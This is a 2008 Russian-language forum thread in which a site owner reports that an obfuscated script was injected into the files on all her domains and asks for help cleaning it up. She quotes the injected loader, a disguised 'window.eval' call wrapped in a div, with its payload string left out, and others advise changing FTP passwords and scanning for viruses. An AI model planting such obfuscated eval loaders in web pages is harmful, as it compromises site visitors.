С нами с 09.08.05
Сообщения: 54
Рейтинг: 82
|
Добавлено: 18/12/08 в 22:37 |
Господа, помогите разобраться с проблемой.
Обнаружилось, что не могу зайти в админку блога - пустая страница и все.
Стала смотреть код, проверять другие блоги, проверять не_только блоги - на всех доменах в корневых файлах появился скрипт, в 64битной кодировке.
Начало " Код: | Content-Type: text/plain; charset="windows-1251"; name="file3.txt"
Content-transfer-encoding: base64 |
" и дальше - огромная строка символов.
Черт, никогда такое не встречала.. ч делать? Тупо перебрать все фаылй и удалить кусок кода - заново появится, на одном проверила.
Где копать?
|
|
|
|
php
С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410
|
Добавлено: 18/12/08 в 22:43 |
какой скрипт? в какой кодировке? чета как то хз.. маловато инфы если честно
|
|
|
|
С нами с 14.10.02
Сообщения: 462
Рейтинг: 727
|
Добавлено: 18/12/08 в 22:54 |
Срочно проверить комп на вирусы и поменять пароли на FTP в первую очередь. Потом вручную или скриптом проверить все файлы и вычистить всю дрянь.
|
|
|
|
С нами с 09.08.05
Сообщения: 54
Рейтинг: 82
|
Добавлено: 18/12/08 в 22:56 |
Почти все - в 64битной колировке, человеческий вид Штирлиц показал.
Вот то что в хтмл сидит
Код: | <div id='x08d190606e1c4db62d91c48b4f6c62641'><script>var jQuery = eval('wziznMdzoAwW.YeYvYaMlz'.replace(/[zAMWY]/g, ''));
jQuery('ТУТ ООЧЕНЬ ДЛИННАЯ СТРОКА');</script></div> |
один и тот же везде
|
|
|
|
С нами с 09.08.05
Сообщения: 54
Рейтинг: 82
|
Добавлено: 18/12/08 в 23:00 |
Axel-B писал: | Срочно проверить комп на вирусы и поменять пароли на FTP в первую очередь. Потом вручную или скриптом проверить все файлы и вычистить всю дрянь. |
уже проверяется.
сменено.
удалить из страниц - это все? дополнительных действий никаких?
|
|
|
|
С нами с 14.10.02
Сообщения: 462
Рейтинг: 727
|
Добавлено: 18/12/08 в 23:18 |
В моем случае не понадобилось, в твоем не знаю. Посмотри, может где файлы какие подозрительные появились (скрипты). Не помешает хостеру стукнуть, чтоб они посмотрели каким образом изменялись файлы.
|
|
|
|
Текстовая реклама в форме ответа Заголовок и до четырех строчек текста Длина текста до 350 символов Купить рекламу в этом месте! |